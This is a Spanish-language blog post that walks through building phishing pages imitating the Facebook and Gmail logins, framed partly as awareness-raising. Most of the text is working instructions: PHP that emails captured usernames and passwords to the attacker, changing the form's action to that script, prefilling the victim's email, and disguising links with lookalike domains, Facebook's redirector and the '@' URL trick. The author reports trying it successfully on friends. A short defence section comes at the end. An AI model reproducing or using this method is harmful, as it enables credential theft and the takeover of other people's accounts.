Anoche unos amigos me comentaron sus infructuosos intentos por conseguir la contraseña del facebook de una amiga. Es una buena amiga, sólo lo quieren por diversión (para enviar solicitudes de amistad a usuarios filipinos) y para retarse a sí mismos. Sin pensarlo demasiado, les sugerí algo de phishing.

Entonces me dije ¿Por qué no intentar hacer mi propia página? (tranquilo, no hace nada malo, puedes acceder con datos falsos también) Es un tema interesante y, como todo, se aprende mucho cuando lo haces por ti mismo. Pensé que sería mucho más complicado, pero en una hora conseguí una página falsa de login que reenviaba usuario y contraseña a mi email, y redirigía a facebook.com. Todo sin saber apenas nada de PHP (lo poco de modificar alguna cosilla del blog), que he tenido que buscar hasta como concatenar cadenas. Y sin mirar ningún tipo de guía sobre cómo hacer una página de phishing. Una hora trabajando por mi cuenta.

Aunque mucha gente pueda saber lo que es el phishing, no se le da una importancia real porque todos pensamos que es mucho más complicado; sin embargo quiero demostrar aquí lo sencillísimo que es empezar a pescar datos, para concienciaros de que hay que tener un poco más de cuidado al introducir nuestras contraseñas en los links que seguimos. Lo he probado con éxito con algunos de mis amigos. Si no te interesan los detalles técnicos, sáltatelos y aprende a defenderte.

Gone Phishing Martha Stewart Chocolate Cupcakes

Primero – Enviar email con PHP

Supongamos que queremos recibir los datos que introduce el usuario por email. También se podrían ir almacenando en un fichero en nuestro servidor y luego consultarlo, pero para este caso me preferí utilizar el email. En PHP es sencillísimo, y en esta página explican todo. Con un fichero de seis líneas es suficiente, el primer ejemplo de todos.

Pero nosotros no queremos enviar siempre el mismo mensaje, queremos el usuario y contraseña, que en la página de login de facebook se envían como parámetros mediante POST bajo las variables email y pass. Así que escribimos:

$message = “Otro pardillo pone sus datos!:\n\n”. $_POST[“email”] . ” – ” . $_POST[“pass”];

En lugar de escribir en la misma página si el email fue enviado con éxito, lo que hacemos es redirigir a facebook.com (el usuario normalmente está ya logueado, por lo que no se dará cuenta de nada), por lo que escribimos al final del archivo:

header(“Location: http://www.facebook.com/”);

Completado. Luego podemos mejorarlo todo lo que queramos. Por ejemplo, mi fichero acepta un parámetro “newurl” que permite redirigir a cualquier otra web. Además, si el campo “pass” llega vacío, vuelve a la página anterior.

Finalmente, tenemos un fichero como este (haz clic para ver en tu navegador), listo para recibir los datos.

Segundo – Modificar login de Facebook

Ahora vamos al link de cualquier página de facebook sin estar logueados y nos saldrá la ventana de login y la guardamos como cualquier otra página.

Lo único que tenemos que hacer aquí, es buscar el formulario y cambiar la dirección a la que lo envía facebok, por la de nuestro fichero que envía emails, en mi caso action=”email.php”.

Y ya está. Ahora, subimos todo a un servidor, y cualquiera que acceda a nuestra página, verá una perfecta copia del login de Facebook, pero que nos enviará toda la información a nuestro email.

Tercero – Mejoras al login

Todo lo siguiente es un extra, con lo hecho hasta ahora ya es perfectamente funcional.

Por supuesto la página de login también puede mejorarse. Por ejemplo, personalizarla para cada víctima, haciendo que aparezca por defecto su email en la caja de texto. Esta información podemos pasarla con parámetros al enviarle nuestra dirección, de la forma:

http://loginfalso.php?name=fulanito&domain=gmail.com

Buscamos el input con id=email y añadimos la siguiente línea.

value=”<?php if($_GET[“name”]){echo ($_GET[“name”].”@”.$_GET[“domain”]);}?>”

También, puesto que el fichero email.php acepta un parámetro para cambiar la redirección, podemos configurarlo desde aquí, “http://loginfalso.php?name=fulanito&domain=gmail.com&newurl=www.otrapagina.com

cambiando el “action” del formulario por:

action=”<?php echo “email.php?newurl=”.$_GET[“newurl”]?>”

Desde luego, todo esto es muy descarado, así que se puede ofuscar añadiendo parámetros sin sentido, para hacer más larga la dirección. De hecho, el email se especifica en dos parámetros precisamente para esto. Se pueden poner todos los que se quieran y en cualquier orden.

Tampoco se va a fiar mucho alguien a quién le pases por chat un enlace a tu propio dominio, como tiendadeultramarinos.es, y cuando le salga el login de facebook le parecerá raro. Por eso, cuando alguien se toma en serio este tema, compra dominios con nombres parecidos al original. Por ejemplo, facebok, fecebook, facebooc, feisbuk.es… de modo que cuando entras al link no te fijas de que realmente es otra página.

Pero si alguna vez habéis copiado un vínculo desde Facebook, veréis que los envía a través de una página que redirige al vínculo. Algo como lo siguiente, envía a mi blog, pero cuando lo ves, parece que sea interno de Facebook.

https://www.facebook.com/l.php?u=http%3A%2F%2FDIRECCION&h=b70fc

https://www.facebook.com/l.php?u=http%3A%2F%2Fwww.tiendadeultramarinos.es&h=b70fc

Claro que, una vez accedido al link, la parte inicial de www.facebook.com desaparece: pero muchas veces el usuario no se fijará una vez esté dentro de la web, sólo en el momento de clicar el enlace.

Una última mejora sería bajarnos las páginas de login de distintos idiomas y modificarlas al gusto. Para gestionar todas sencillamente con la misma dirección, he creado un pequeño fichero PHP que redirige a las páginas de login de cada idioma en función de un parámetro lang. Más info y ejemplos de direcciones ofuscadas, en el fichero de redirección.

Cuarto – Lo mismo en Gmail

No os penséis que Google lo pone más difícil. He seguido el mismo proceso con idénticos resultados. Aquí la página falsa. Como no tenemos el truco de facebook de poner la dirección primero, tenemos que recurrir a otro modo para dar la sensación al ver el link de que es la página real de gmail. Esto lo explican muy bien en la wikipedia, y se hace sencillamente poniendo la dirección destino detrás de la arroba, así:

http://www.gmail.com@direccionfalsa

Finalmente – ¿Cómo me defiendo?

Como habéis visto es tremendamente sencillo hacer una página falsa para robar vuestras cuentas de acceso a cualquier servicio. Generalmente nadie se va a molestar en robaros la cuenta del Facebook, el objetivo real detrás del phishing es tener acceso a las cuentas de los bancos, así que es con lo que más cuidado hay que tener.

El principal consejo es, siempre, escribir vosotros mismos la dirección de la página en la que queréis loguearos. Nunca lo hagáis siguiendo vínculos. Primero iniciad sesión en una pestaña aparte, y luego volved al email y seguid el enlace que os han pasado, y si no es trampa no os pedirá que volváis a iniciar sesión.

La banca electrónica es segura, simplemente hay que ser cuidadoso a la hora de meter nuestros datos. Del mismo modo que no enviríais vuestra tarjeta de crédito con vuestro PIN en un sobre a una dirección desconocida, ni daríais vuestros datos a cualquiera que se presentase en casa o llamase por teléfono. En internet hay que seguir, exactamente, las mismas precauciones que en la vida real: sentido común.

El objetivo de la explicación en este post de cómo hacer la página es doble. Primero, llamar vuestra atención sobre el problema destacando la facilidad de crearlas. Segundo, entendiendo cómo puede atacaros vuestro “enemigo” tenéis más posibilidades de comprender cómo defenderos.

Para terminar, os dejo un par de guías en español para protegerse del phishing, más completas que las pinceladas que he dado yo: Vulneravility Team e  Internautas.